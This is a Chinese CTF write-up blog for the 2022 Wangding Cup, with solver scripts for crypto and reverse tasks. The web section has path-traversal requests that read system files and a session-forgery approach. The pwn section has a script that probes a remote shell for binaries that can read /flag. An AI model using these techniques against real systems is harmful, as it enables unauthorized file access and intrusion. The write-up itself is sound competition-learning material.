引言
2022 第三届 网鼎杯 网络安全大赛
“网鼎杯”是迄今为止全球规模最大、覆盖面最广的国家级网络安全赛事,被称为网络安全“奥运会”,目前已成功举办两届。2018年第一届“网鼎杯”在北京举办,吸引了来自全国14大关键领域,3200多家单位的7008支队伍、22455人参赛,创当时规模之最;2020年第二届“网鼎杯”在深圳举办,来自全国14大关键领域,6000多家行业单位的14724支战队、50165人线上参赛,2000人超大规模同场竞技、现场空前呈现,为业界呈现了一场全球最大规模的国家级网络安全赛事。
第三届“网鼎杯”在前两届基础上提档升级,由公安部指导,“政产学研用”各领域权威共襄盛举,打造最大规模最高水平的国家顶级赛事。本届大赛以“数字未来,共同守护”为主题,号召各行业各领域共同防御网络威胁,筑牢网络安全防线,保卫国家安全。
青龙组
2022.8.26 9:00-17:00
两年一度的国家级网络安全赛事,说来喵喵还是第一次打 2333.
这次和校队的几个师傅组了个队,结果比赛的时候队友不是在实习打工就是忙别的事了,于是佛系看了看题目,Misc 手又坐牢了,看 web 和 crypto 去了结果自闭了,呜呜呜(
赛后和其他师傅交流才知道 pwn 题目都有非预期,可恶啊!!!
这篇就简单写写 writeup 吧。
(又是一篇在草稿箱里长草的文章了,别问了,问就是本来说要复现的但摸了
Misc
签到
安全知识小竞赛
题目和答案都是固定的,多次尝试得到 flag
Crypto
crypto091
小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。
Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
flag格式:flag{13位电话号码(纯数字,含国家代码)}
查到联通首批170号段为1709,爆破得到结果
import hashlib
check = "c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc"
head = "861709"
for i in range(10000000):
pNum = head + str(i)
res = hashlib.sha256(pNum.encode('utf-8')).hexdigest()
if(res == check):
print(pNum)
break
if((i+1) % 10000 == 0):
print(i)
crypto162
bob老师给david出了一道线代题目作为作业,要解100组数列。你能帮david完成这道题目么?
from secret import flag
from hashlib import md5,sha256
from Crypto.Cipher import AES
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]
def cal(i,cof):
if i <3:
return i+1
else:
return cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)
s = 0
for i in range(100):
s+= cal(200000,cof_t[i])
s=str(s)[-2000:-1000]
key = md5(s).hexdigest().decode('hex')
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)
aes = AES.new(key,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*"\x00"
print (aes.encrypt(data).encode('hex'))
#4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87
直接跑,很明显,炸内存了。
于是喵喵各种优化了老半天,最后维护了个三个 int 组成的 list,通过取模来保证内存不会 boom。
exp:
"""MiaoTony"""
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]
# r = [1,2,3,31502]
r = []
s = 0
def cal(i,cof):
if i <3:
return i+1
else:
# return cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)
return cof[2]*r[(i-3)%3]+cof[1]*r[(i-2)%3]+cof[0]*r[(i-1)%3]
for j in range(100):
r = [1,2,3]
print(f'===> {j}')
for i in range(3, 200001):
result = cal(i, cof_t[j])
r[i%3] = result
with open('result.txt', 'a', encoding='utf-8') as f:
f.write(f"{j},{str(result)[-2000:]}\n")
最后去拿 key,解密 flag。
然而咱比赛的时候就卡在这里了……
"""MiaoTony"""
s = 0
with open('result0.txt', 'r', encoding='utf-8') as f:
while True:
x = f.readline()
if not x:
break
print(x[:15])
y = x.strip().split(',')[1]
# print(y, len(y))
s += int(y)
# s = int(str(s)[-2000:])
print(s)
s=str(s)[-2000:-1000]
key = md5(s.encode()).hexdigest()
check = sha256(key.encode()).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)
# python3
key = b'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
aes = AES.new(key,AES.MODE_ECB)
# data = flag + (16-len(flag)%16)*"\x00"
data = bytes.fromhex('4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87')
print(aes.decrypt(data))
# b'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'
# python2
# key = 'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
# aes = AES.new(key,AES.MODE_ECB)
# data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
# aes.decrypt(data.decode('hex'))
# # 'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'
而且 python2 和 3 这里 str 与 bytes 处理也有点不一样……
赛后才知道原来这是 矩阵快速幂,呜呜,吃了不会算法的亏。。
喵喵一定补算法基础.webp
crypto405
flag格式:flag{*}
from Crypto.Util.number import *
from random import randrange
from grassfield import flag
p = getPrime(16)
k = [randrange(1,p) for i in range(5)]
for i in range(len(flag)):
grasshopper = flag[i]
for j in range(5):
k[j] = grasshopper = grasshopper * k[j] % p
print('Grasshopper#'+str(i).zfill(2)+':'+hex(grasshopper)[2:].zfill(4))
exp:
a = [[0 for i in range(6)] for j in range(42)]
o = open('./output.txt').read().split('\n')
for i in range(42):
a[i][5] = int(o[i].split(':')[1], 16)
print(a)
import wmath
ps = wmath.find_prime_until(2**16)
ps1 = []
for i in ps:
if i > 58767:
ps1.append(i)
print(ps1)
for p in ps1:
a1 = a
for j in range(4, -1, -1):
for i in range(41, 4-j, -1):
a1[i][j] = (a1[i][j+1] * wmath.inverse(a1[i-1][j+1], p)) % p
try:
f = ''
for i in range(5, 42):
f += chr(a1[i][0])
print(f)
except:
continue
# flag{749d39d4-78db-4c55-b4ff-bca873d0f18e}
Reverse
rev694
很奇怪,好像很熟悉,但是又很陌生,继续探索,发现线索吧!
l = [75, 72, 121, 19, 69, 48, 92, 73, 90, 121, 19, 112, 109, 120, 19, 111, 72, 93, 100, 100]
print(f"flag{{{''.join(chr(((x ^ 0x50) - 10) ^ 0x66) for x in l)}}}")
rev693
Can u solve it manually? :)
- ZlXDJkH3OZN4Mayd
- UhnCm82SDGE0zLYO
print(f"flag{{{(lambda YrXQd: '%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c' % (YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]))(''.join(hex(ord(x))[2:] for x in 'ZlXDJkH3OZN4Mayd'))}{''.join(chr([159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3][x] ^ [167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54][x]) for x in range(16))}}}")
Web
web669
附件里给了源码
import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session
app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()
def response(content, status):
resp = make_response(content, status)
return resp
@app.before_request
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_template('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
@app.route('/<path:file>', methods=['GET'])
这个路由很明显可以 跨目录任意读文件,不过要双写绕一下 ../
的过滤
于是可以读一下模板
GET /..././..././..././templates/result.html HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
没啥大用途,这里不贴了。
读 hostname
GET /..././..././..././..././..././..././etc/hostname HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
localhost.localdomain
通过读 /proc/self/exe
下载回来执行,得到版本 Python 3.8.10
GET /..././..././..././requirements.txt HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
Flask==2.0.3
gunicorn==20.1.0
Jinja2==3.0.3
PyYAML==5.3
于是就本地起个服务,把 app.config['SECRET_KEY']
设置成靶机的 hostname,再把 session 里的 user
、updir
给改了,拿到新的 cookie 打过去
然而用 localhost.localdomain
或者 localhost
或者 localdomain
作为 hostname,打过去都不对。
最后试了 /etc/hosts
,草这咋不一样啊,也不懂是不是 docker 起来(他这应该是 k8s)没自动改 /etc/hostname
。。
GET /..././..././..././..././..././..././etc/hosts HTTP/1.1
Host: eci-2ze74l0esvdjtqzyk4a2.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.16.43.198 engine-1
这个 engine-1
才是真正的 hostname。。
后来的步骤应该是构造个绕过那些过滤的 yaml 反序列化 RCE 的文件,利用 unrar 传上去解压
不过好像有个非预期是上传 html 模板 result.html,然后在里面触发 SSTI RCE,最后还要借助服务器上的 dd 命令 suid 权限提权来读 /flag
(过太久了,忘了,摆烂.jpg
Pwn
pwn497
为了安全,小明构建了一个很安全的shell,你决定give he some color look look.
pwn 题赛后才知道有非预期
直接寻找可执行的文件,能直接读 flag。。
使用 pwntools 遍历文件树
from pwn import *
from LibcSearcher import *
from code import interact
# context.log_level = 'debug'
context.arch = 'x86_64'
p = remote('39.107.121.211',37537, timeout=5)
def sl(s):
global p
try:
p.sendline(s)
except Exception as e:
p.close()
p = remote('39.107.121.211',37537, timeout=5)
p.sendline(s)
def rl():
global p
try:
rv = p.recvline()
if not rv:
raise Exception()
return rv
except Exception as e:
p.close()
p = remote('39.107.121.211',37537, timeout=5)
return p.recvline()
def ru(s):
global p
try:
rv = p.recvuntil(s)
if not rv:
raise Exception()
return rv
except Exception as e:
p.close()
p = remote('39.107.121.211',37537, timeout=5)
return p.recvuntil(s)
def list(d):
sl(f"ls -Al {d}".encode())
rl()
files = ru('mini-shell>> ').decode().splitlines()[:-1]
fs = []
for file in files:
file = file.split()
fname = file[-1] if file[-2] != '->' else file[-3]
fs.append((os.path.join(d,fname), file[0][0]=='d', file[0][0]=='-' and file[0][9]=='x'))
return fs
def tryexec(f):
sl(f"{f} /flag".encode())
print( ru('mini-shell>> ').decode() )
ru('mini-shell>> ')
allfiles = []
files = []
for file in list("/"):
if file[1]:
files.append(file)
else:
allfiles.append(file)
while files:
file = files.pop(0)
if not file[1]:
allfiles.append(file)
if file[2] and "systemd" not in file[0]:
print(file[0])
tryexec(file[0])
else:
for subf in list(file[0]):
files.append(subf)
p.interactive()
发现 /lib/gcc/x86_64-linux-gnu/5/
下的文件 cc1 可执行,用其读 flag
/lib/gcc/x86_64-linux-gnu/5/cc1 -o - /flag
pwn135
上传的时候 不小心删掉了源码,导致有一部分diff不知道了 ,快来找找吧。
赛后知道,原来直接读 flag 就行。。
a = read('flag')
console.log(a)
小结
喵呜~
其实吧,本来说要多复现几道题的,但是好像已经过了几个月了,题目都忘记是啥了((
就这样吧,摸了
溜了溜了喵(